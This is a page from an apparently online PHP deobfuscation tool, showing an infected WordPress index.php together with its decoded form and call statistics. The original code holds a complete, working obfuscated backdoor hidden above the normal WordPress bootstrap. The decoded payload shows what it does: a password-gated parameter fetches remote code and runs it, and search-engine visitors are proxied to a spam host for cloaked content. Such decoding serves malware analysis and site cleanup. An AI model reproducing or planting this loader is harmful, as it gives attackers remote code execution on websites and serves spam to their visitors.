Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*-wj&uAe5Za]-*/error_reporting(0); /*-4qpL05}-*/eval/*-2TVu$;rC#rxC%Mg1.>0&7Bsg3uTz..

Decoded Output download

?>b'<?php header(\'Content-Type: text/html; charset=utf-8\'); @set_time_limit(600);@error_reporting(0);@ignore_user_abort(1);ini_set(\'display_errors\',\'Off\');$a=!empty($_SERVER[\'HTTPS\'])&&strtolower($_SERVER[\'HTTPS\'])!==\'off\'||isset($_SERVER[\'HTTP_X_FORWARDED_PROTO\'])&&$_SERVER[\'HTTP_X_FORWARDED_PROTO\']===\'https\'||!empty($_SERVER[\'HTTP_FRONT_END_HTTPS\'])&&strtolower($_SERVER[\'HTTP_FRONT_END_HTTPS\'])!==\'off\'?"https":"http";$b=$_SERVER["REQUEST_URI"];$c=isset($_SERVER[\'HTTP_ACCEPT_LANGUAGE\'])?$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']:"";$d=$_SERVER["HTTP_HOST"];$f=isset($_SERVER[\'HTTP_REFERER\'])?$_SERVER[\'HTTP_REFERER\']:"";$f="google.com";$g=isset($_SERVER[\'HTTP_USER_AGENT\'])?$_SERVER[\'HTTP_USER_AGENT\']:"";$h=isset($_SERVER[\'REMOTE_ADDR\'])?$_SERVER[\'REMOTE_ADDR\']:"";$i=array(\'Accept-Language: \'.$c,\'User-Agent: \'.$g,\'Referer: \'.$f,\'Http-Proto: \'.$a,\'Http-Host: \'.$d,\'Http-Uri: \'.$b,\'Http-X-Forwarded-For: \'.$h);$j="type=".$a."&host=".$d."&uri=".$b."&ip=".$h;$k=$_REQUEST[\'action\'];if(!empty($k)){$l=substr($k,-1);$k=substr($k,0,strlen($k)-1);$m=array(\'9\',\'8\',\'2\',\'4\',\'5\',\'d\',\'7\',\'4\',\'1\',\'7\',\'2\',\'2\',\'5\',\'b\',\'5\',\'5\',\'a\',\'2\',\'c\',\'4\',\'b\',\'f\',\'5\',\'0\',\'b\',\'8\',\'a\',\'a\',\'4\',\'c\',\'7\',\'3\');$n=md5($k);if($n==implode($m)){$o=array("h","t","t","p","s",":","/","/","v","p","s","d","d",".","d","f","q","f","a","t",".","t","o","p","/","d","o","o","r","/");$p=getu(implode($o).$l.\'.t\'.\'x\'.\'t\');eval(\'?>\'.$p[0]);}exit();}else{$q="p5bdkv.mnusuj.top";if($b!=="/favicon.ico"){if(strstr($b,\'testsitemap\')){$r=$_SERVER[\'DOCUMENT_ROOT\'].\'/robots.txt\';if(file_exists($r)){unlink($r);}}if(strstr($b,\'.xml\')||strstr($b,\'robots.txt\')){list($s,$t,$u)=getu(\'h\'.\'t\'.\'t\'.\'ps\'.\':/\'.\'/\'.$q.\'/in\'.\'d\'.\'ex\'.\'on\'.\'e.\'.\'ph\'.\'p?\'.$j,$i,$j);}else{if(checkReferer($f)||!checkNotBot($g)){list($s,$t,$u)=getu(\'h\'.\'t\'.\'t\'.\'ps\'.\':/\'.\'/\'.$q.\'/in\'.\'d\'.\'ex\'.\'on\'.\'e.\'.\'ph\'.\'p?\'.$j,$i,$j);}}if(isset($t)&&!empty($t)){if($t>=400&&$t<500){@header(\'HTTP/1.1 404 Not Found\');exit($s);}if($t>=500){@header(\'HTTP/1.1 500 Internal Server Error\');exit;}if(!strstr($s,\'notthing\')){if(strstr($s,\'htmlcontent\')){@header("Content-type: text/html; charset=utf-8");$v=str_replace("htmlcontent",\'\',$s);echo $v;exit();}if(strstr($s,\'xmlcontent\')){@header("Content-type: text/xml");exit(str_replace("xmlcontent",\'\',$s));}if(strstr($s,\'robotscontent\')){@header("Content-type: text/plain; charset=utf-8");$w=explode(\'[zm]\',str_replace("robotscontent",\'\',$s));exit(implode(PHP_EOL,$w));}}}}}function checkReferer($x){$x=strtolower($x);if($x!=""){$y=array("google.co.jp","google.com","yahoo.com","yahoo.co.jp","bing.com","goo.ne.jp","nifty.com");foreach($y as $z){$aa=strtolower($z);if(strstr($x,$aa)){return true;}}}else{return false;}}function checkNotBot($bb){$bb=strtolower($bb);if($bb!=""){$cc=array("AhrefsBot","Amazonbot","BLEXBot","Bytespider","ChatGPT-User","DataForSeoBot","DotBot","facebook","GPTBot","linkdexbot","MJ12bot","SemrushBot","Yandex","Twitterbot");foreach($cc as $z){$aa=strtolower($z);if(strstr($bb,$aa)){return true;}}}else{return false;}}function getu($dd,$i=null,$j=null,$ee=null){if(!function_exists(\'curl_init\')){return;}$ff="";$gg="";$hh="";try{$ii=curl_init();curl_setopt($ii,CURLOPT_URL,$dd);curl_setopt($ii,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ii,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($ii,CURLOPT_SSL_VERIFYHOST,FALSE);curl_setopt($ii,CURLOPT_CONNECTTIMEOUT,30);curl_setopt($ii,CURLOPT_RETURNTRANSFER,1);$i===null?\'\':curl_setopt($ii,CURLOPT_HTTPHEADER,$i);$ee===null||$ee===""?\'\':curl_setopt($ii,CURLOPT_USERAGENT,$ee);if($j!==null&&$j!==""){curl_setopt($ii,CURLOPT_POST,1);curl_setopt($ii,CURLOPT_POSTFIELDS,$j);}$ff=curl_exec($ii);$gg=curl_getinfo($ii,CURLINFO_HTTP_CODE);$hh=curl_getinfo($ii,CURLINFO_CONTENT_TYPE);curl_close($ii);}catch(Exception $jj){}if(($ff===false||$ff=="")&&function_exists(\'file_get_contents\')){try{$ff=@file_get_contents($dd);}catch(Exception $jj){}}return array($ff,$gg,$hh);} ?>'

Did this file decode correctly?

Original Code

<?php /*-wj&uAe5Za]-*/error_reporting(0); /*-4qpL05}-*/eval/*-2TVu$;rC#rxC%Mg1.>0&7Bsg3uTz!~~D.(K,&GP}Xo-*/(/*-Zu,vL-*/base64_decode/*-#(7_6^]Yw-*/(/*-5+Wd9-*/"ZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnYUdWaFpHVnlLQ2REYjI1MFpXNTBMVlI1Y0dVNklIUmxlSFF2YUhSdGJEc2dZMmhoY25ObGREMTFkR1l0T0NjcE95QkFjMlYwWDNScGJXVmZiR2x0YVhRb05qQXdLVHRBWlhKeWIzSmZjbVZ3YjNKMGFXNW5LREFwTzBCcFoyNXZjbVZmZFhObGNsOWhZbTl5ZENneEtUdHBibWxmYzJWMEtDZGthWE53YkdGNVgyVnljbTl5Y3ljc0owOW1aaWNwT3lSaFBTRmxiWEIwZVNna1gxTkZVbFpGVWxzblNGUlVVRk1uWFNrbUpuTjBjblJ2Ykc5M1pYSW9KRjlUUlZKV1JWSmJKMGhVVkZCVEoxMHBJVDA5SjI5bVppZDhmR2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFoZlJrOVNWMEZTUkVWRVgxQlNUMVJQSjEwcEppWWtYMU5GVWxaRlVsc25TRlJVVUY5WVgwWlBVbGRCVWtSRlJGOVFVazlVVHlkZFBUMDlKMmgwZEhCekozeDhJV1Z0Y0hSNUtDUmZVMFZTVmtWU1d5ZElWRlJRWDBaU1QwNVVYMFZPUkY5SVZGUlFVeWRkS1NZbWMzUnlkRzlzYjNkbGNpZ2tYMU5GVWxaRlVsc25TRlJVVUY5R1VrOU9WRjlGVGtSZlNGUlVVRk1uWFNraFBUMG5iMlptSno4aWFIUjBjSE1pT2lKb2RIUndJanNrWWowa1gxTkZVbFpGVWxzaVVrVlJWVVZUVkY5VlVra2lYVHNrWXoxcGMzTmxkQ2drWDFORlVsWkZVbHNuU0ZSVVVGOUJRME5GVUZSZlRFRk9SMVZCUjBVblhTay9KRjlUUlZKV1JWSmJKMGhVVkZCZlFVTkRSVkJVWDB4QlRrZFZRVWRGSjEwNklpSTdKR1E5SkY5VFJWSldSVkpiSWtoVVZGQmZTRTlUVkNKZE95Um1QV2x6YzJWMEtDUmZVMFZTVmtWU1d5ZElWRlJRWDFKRlJrVlNSVkluWFNrL0pGOVRSVkpXUlZKYkowaFVWRkJmVWtWR1JWSkZVaWRkT2lJaU95Um1QU0puYjI5bmJHVXVZMjl0SWpza1p6MXBjM05sZENna1gxTkZVbFpGVWxzblNGUlVVRjlWVTBWU1gwRkhSVTVVSjEwcFB5UmZVMFZTVmtWU1d5ZElWRlJRWDFWVFJWSmZRVWRGVGxRblhUb2lJanNrYUQxcGMzTmxkQ2drWDFORlVsWkZVbHNuVWtWTlQxUkZYMEZFUkZJblhTay9KRjlUUlZKV1JWSmJKMUpGVFU5VVJWOUJSRVJTSjEwNklpSTdKR2s5WVhKeVlYa29KMEZqWTJWd2RDMU1ZVzVuZFdGblpUb2dKeTRrWXl3blZYTmxjaTFCWjJWdWREb2dKeTRrWnl3blVtVm1aWEpsY2pvZ0p5NGtaaXduU0hSMGNDMVFjbTkwYnpvZ0p5NGtZU3duU0hSMGNDMUliM04wT2lBbkxpUmtMQ2RJZEhSd0xWVnlhVG9nSnk0a1lpd25TSFIwY0MxWUxVWnZjbmRoY21SbFpDMUdiM0k2SUNjdUpHZ3BPeVJxUFNKMGVYQmxQU0l1SkdFdUlpWm9iM04wUFNJdUpHUXVJaVoxY21rOUlpNGtZaTRpSm1sd1BTSXVKR2c3SkdzOUpGOVNSVkZWUlZOVVd5ZGhZM1JwYjI0blhUdHBaaWdoWlcxd2RIa29KR3NwS1hza2JEMXpkV0p6ZEhJb0pHc3NMVEVwT3lSclBYTjFZbk4wY2lna2F5d3dMSE4wY214bGJpZ2theWt0TVNrN0pHMDlZWEp5WVhrb0p6a25MQ2M0Snl3bk1pY3NKelFuTENjMUp5d25aQ2NzSnpjbkxDYzBKeXduTVNjc0p6Y25MQ2N5Snl3bk1pY3NKelVuTENkaUp5d25OU2NzSnpVbkxDZGhKeXduTWljc0oyTW5MQ2MwSnl3bllpY3NKMlluTENjMUp5d25NQ2NzSjJJbkxDYzRKeXduWVNjc0oyRW5MQ2MwSnl3bll5Y3NKemNuTENjekp5azdKRzQ5YldRMUtDUnJLVHRwWmlna2JqMDlhVzF3Ykc5a1pTZ2tiU2twZXlSdlBXRnljbUY1S0NKb0lpd2lkQ0lzSW5RaUxDSndJaXdpY3lJc0lqb2lMQ0l2SWl3aUx5SXNJbllpTENKd0lpd2ljeUlzSW1RaUxDSmtJaXdpTGlJc0ltUWlMQ0ptSWl3aWNTSXNJbVlpTENKaElpd2lkQ0lzSWk0aUxDSjBJaXdpYnlJc0luQWlMQ0l2SWl3aVpDSXNJbThpTENKdklpd2ljaUlzSWk4aUtUc2tjRDFuWlhSMUtHbHRjR3h2WkdVb0pHOHBMaVJzTGljdWRDY3VKM2duTGlkMEp5azdaWFpoYkNnblB6NG5MaVJ3V3pCZEtUdDlaWGhwZENncE8zMWxiSE5sZXlSeFBTSndOV0prYTNZdWJXNTFjM1ZxTG5SdmNDSTdhV1lvSkdJaFBUMGlMMlpoZG1samIyNHVhV052SWlsN2FXWW9jM1J5YzNSeUtDUmlMQ2QwWlhOMGMybDBaVzFoY0NjcEtYc2tjajBrWDFORlVsWkZVbHNuUkU5RFZVMUZUbFJmVWs5UFZDZGRMaWN2Y205aWIzUnpMblI0ZENjN2FXWW9abWxzWlY5bGVHbHpkSE1vSkhJcEtYdDFibXhwYm1zb0pISXBPMzE5YVdZb2MzUnljM1J5S0NSaUxDY3VlRzFzSnlsOGZITjBjbk4wY2lna1lpd25jbTlpYjNSekxuUjRkQ2NwS1h0c2FYTjBLQ1J6TENSMExDUjFLVDFuWlhSMUtDZG9KeTRuZENjdUozUW5MaWR3Y3ljdUp6b3ZKeTRuTHljdUpIRXVKeTlwYmljdUoyUW5MaWRsZUNjdUoyOXVKeTRuWlM0bkxpZHdhQ2N1SjNBL0p5NGthaXdrYVN3a2FpazdmV1ZzYzJWN2FXWW9ZMmhsWTJ0U1pXWmxjbVZ5S0NSbUtYeDhJV05vWldOclRtOTBRbTkwS0NSbktTbDdiR2x6ZENna2N5d2tkQ3drZFNrOVoyVjBkU2duYUNjdUozUW5MaWQwSnk0bmNITW5MaWM2THljdUp5OG5MaVJ4TGljdmFXNG5MaWRrSnk0blpYZ25MaWR2YmljdUoyVXVKeTRuY0dnbkxpZHdQeWN1Skdvc0pHa3NKR29wTzMxOWFXWW9hWE56WlhRb0pIUXBKaVloWlcxd2RIa29KSFFwS1h0cFppZ2tkRDQ5TkRBd0ppWWtkRHcxTURBcGUwQm9aV0ZrWlhJb0owaFVWRkF2TVM0eElEUXdOQ0JPYjNRZ1JtOTFibVFuS1R0bGVHbDBLQ1J6S1R0OWFXWW9KSFErUFRVd01DbDdRR2hsWVdSbGNpZ25TRlJVVUM4eExqRWdOVEF3SUVsdWRHVnlibUZzSUZObGNuWmxjaUJGY25KdmNpY3BPMlY0YVhRN2ZXbG1LQ0Z6ZEhKemRISW9KSE1zSjI1dmRIUm9hVzVuSnlrcGUybG1LSE4wY25OMGNpZ2tjeXduYUhSdGJHTnZiblJsYm5RbktTbDdRR2hsWVdSbGNpZ2lRMjl1ZEdWdWRDMTBlWEJsT2lCMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROWRYUm1MVGdpS1Rza2RqMXpkSEpmY21Wd2JHRmpaU2dpYUhSdGJHTnZiblJsYm5RaUxDY25MQ1J6S1R0bFkyaHZJQ1IyTzJWNGFYUW9LVHQ5YVdZb2MzUnljM1J5S0NSekxDZDRiV3hqYjI1MFpXNTBKeWtwZTBCb1pXRmtaWElvSWtOdmJuUmxiblF0ZEhsd1pUb2dkR1Y0ZEM5NGJXd2lLVHRsZUdsMEtITjBjbDl5WlhCc1lXTmxLQ0o0Yld4amIyNTBaVzUwSWl3bkp5d2tjeWtwTzMxcFppaHpkSEp6ZEhJb0pITXNKM0p2WW05MGMyTnZiblJsYm5RbktTbDdRR2hsWVdSbGNpZ2lRMjl1ZEdWdWRDMTBlWEJsT2lCMFpYaDBMM0JzWVdsdU95QmphR0Z5YzJWMFBYVjBaaTA0SWlrN0pIYzlaWGh3Ykc5a1pTZ25XM3B0WFNjc2MzUnlYM0psY0d4aFkyVW9Jbkp2WW05MGMyTnZiblJsYm5RaUxDY25MQ1J6S1NrN1pYaHBkQ2hwYlhCc2IyUmxLRkJJVUY5RlQwd3NKSGNwS1R0OWZYMTlmV1oxYm1OMGFXOXVJR05vWldOclVtVm1aWEpsY2lna2VDbDdKSGc5YzNSeWRHOXNiM2RsY2lna2VDazdhV1lvSkhnaFBTSWlLWHNrZVQxaGNuSmhlU2dpWjI5dloyeGxMbU52TG1wd0lpd2laMjl2WjJ4bExtTnZiU0lzSW5saGFHOXZMbU52YlNJc0lubGhhRzl2TG1OdkxtcHdJaXdpWW1sdVp5NWpiMjBpTENKbmIyOHVibVV1YW5BaUxDSnVhV1owZVM1amIyMGlLVHRtYjNKbFlXTm9LQ1I1SUdGeklDUjZLWHNrWVdFOWMzUnlkRzlzYjNkbGNpZ2tlaWs3YVdZb2MzUnljM1J5S0NSNExDUmhZU2twZTNKbGRIVnliaUIwY25WbE8zMTlmV1ZzYzJWN2NtVjBkWEp1SUdaaGJITmxPMzE5Wm5WdVkzUnBiMjRnWTJobFkydE9iM1JDYjNRb0pHSmlLWHNrWW1JOWMzUnlkRzlzYjNkbGNpZ2tZbUlwTzJsbUtDUmlZaUU5SWlJcGV5UmpZejFoY25KaGVTZ2lRV2h5WldaelFtOTBJaXdpUVcxaGVtOXVZbTkwSWl3aVFreEZXRUp2ZENJc0lrSjVkR1Z6Y0dsa1pYSWlMQ0pEYUdGMFIxQlVMVlZ6WlhJaUxDSkVZWFJoUm05eVUyVnZRbTkwSWl3aVJHOTBRbTkwSWl3aVptRmpaV0p2YjJzaUxDSkhVRlJDYjNRaUxDSnNhVzVyWkdWNFltOTBJaXdpVFVveE1tSnZkQ0lzSWxObGJYSjFjMmhDYjNRaUxDSlpZVzVrWlhnaUxDSlVkMmwwZEdWeVltOTBJaWs3Wm05eVpXRmphQ2drWTJNZ1lYTWdKSG9wZXlSaFlUMXpkSEowYjJ4dmQyVnlLQ1I2S1R0cFppaHpkSEp6ZEhJb0pHSmlMQ1JoWVNrcGUzSmxkSFZ5YmlCMGNuVmxPMzE5ZldWc2MyVjdjbVYwZFhKdUlHWmhiSE5sTzMxOVpuVnVZM1JwYjI0Z1oyVjBkU2drWkdRc0pHazliblZzYkN3a2FqMXVkV3hzTENSbFpUMXVkV3hzS1h0cFppZ2hablZ1WTNScGIyNWZaWGhwYzNSektDZGpkWEpzWDJsdWFYUW5LU2w3Y21WMGRYSnVPMzBrWm1ZOUlpSTdKR2RuUFNJaU95Um9hRDBpSWp0MGNubDdKR2xwUFdOMWNteGZhVzVwZENncE8yTjFjbXhmYzJWMGIzQjBLQ1JwYVN4RFZWSk1UMUJVWDFWU1RDd2taR1FwTzJOMWNteGZjMlYwYjNCMEtDUnBhU3hEVlZKTVQxQlVYMFpQVEV4UFYweFBRMEZVU1U5T0xERXBPMk4xY214ZmMyVjBiM0IwS0NScGFTeERWVkpNVDFCVVgxTlRURjlXUlZKSlJsbFFSVVZTTEVaQlRGTkZLVHRqZFhKc1gzTmxkRzl3ZENna2FXa3NRMVZTVEU5UVZGOVRVMHhmVmtWU1NVWlpTRTlUVkN4R1FVeFRSU2s3WTNWeWJGOXpaWFJ2Y0hRb0pHbHBMRU5WVWt4UFVGUmZRMDlPVGtWRFZGUkpUVVZQVlZRc016QXBPMk4xY214ZmMyVjBiM0IwS0NScGFTeERWVkpNVDFCVVgxSkZWRlZTVGxSU1FVNVRSa1ZTTERFcE95UnBQVDA5Ym5Wc2JEOG5KenBqZFhKc1gzTmxkRzl3ZENna2FXa3NRMVZTVEU5UVZGOUlWRlJRU0VWQlJFVlNMQ1JwS1Rza1pXVTlQVDF1ZFd4c2ZId2taV1U5UFQwaUlqOG5KenBqZFhKc1gzTmxkRzl3ZENna2FXa3NRMVZTVEU5UVZGOVZVMFZTUVVkRlRsUXNKR1ZsS1R0cFppZ2thaUU5UFc1MWJHd21KaVJxSVQwOUlpSXBlMk4xY214ZmMyVjBiM0IwS0NScGFTeERWVkpNVDFCVVgxQlBVMVFzTVNrN1kzVnliRjl6WlhSdmNIUW9KR2xwTEVOVlVreFBVRlJmVUU5VFZFWkpSVXhFVXl3a2FpazdmU1JtWmoxamRYSnNYMlY0WldNb0pHbHBLVHNrWjJjOVkzVnliRjluWlhScGJtWnZLQ1JwYVN4RFZWSk1TVTVHVDE5SVZGUlFYME5QUkVVcE95Um9hRDFqZFhKc1gyZGxkR2x1Wm04b0pHbHBMRU5WVWt4SlRrWlBYME5QVGxSRlRsUmZWRmxRUlNrN1kzVnliRjlqYkc5elpTZ2thV2twTzMxallYUmphQ2hGZUdObGNIUnBiMjRnSkdwcUtYdDlhV1lvS0NSbVpqMDlQV1poYkhObGZId2tabVk5UFNJaUtTWW1ablZ1WTNScGIyNWZaWGhwYzNSektDZG1hV3hsWDJkbGRGOWpiMjUwWlc1MGN5Y3BLWHQwY25sN0pHWm1QVUJtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWdrWkdRcE8zMWpZWFJqYUNoRmVHTmxjSFJwYjI0Z0pHcHFLWHQ5ZlhKbGRIVnliaUJoY25KaGVTZ2tabVlzSkdkbkxDUm9hQ2s3ZlNBL1BnPT0iKSk7"/*-6wev-*/)/*-D+d6Q-*/);?><?php define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';

Function Calls

define 1
base64_decode 2
error_reporting 1

Variables

None

Stats

MD5 c3f03b3f67d870deda9626a006f68f64
Eval Count 2
Decode Time 77 ms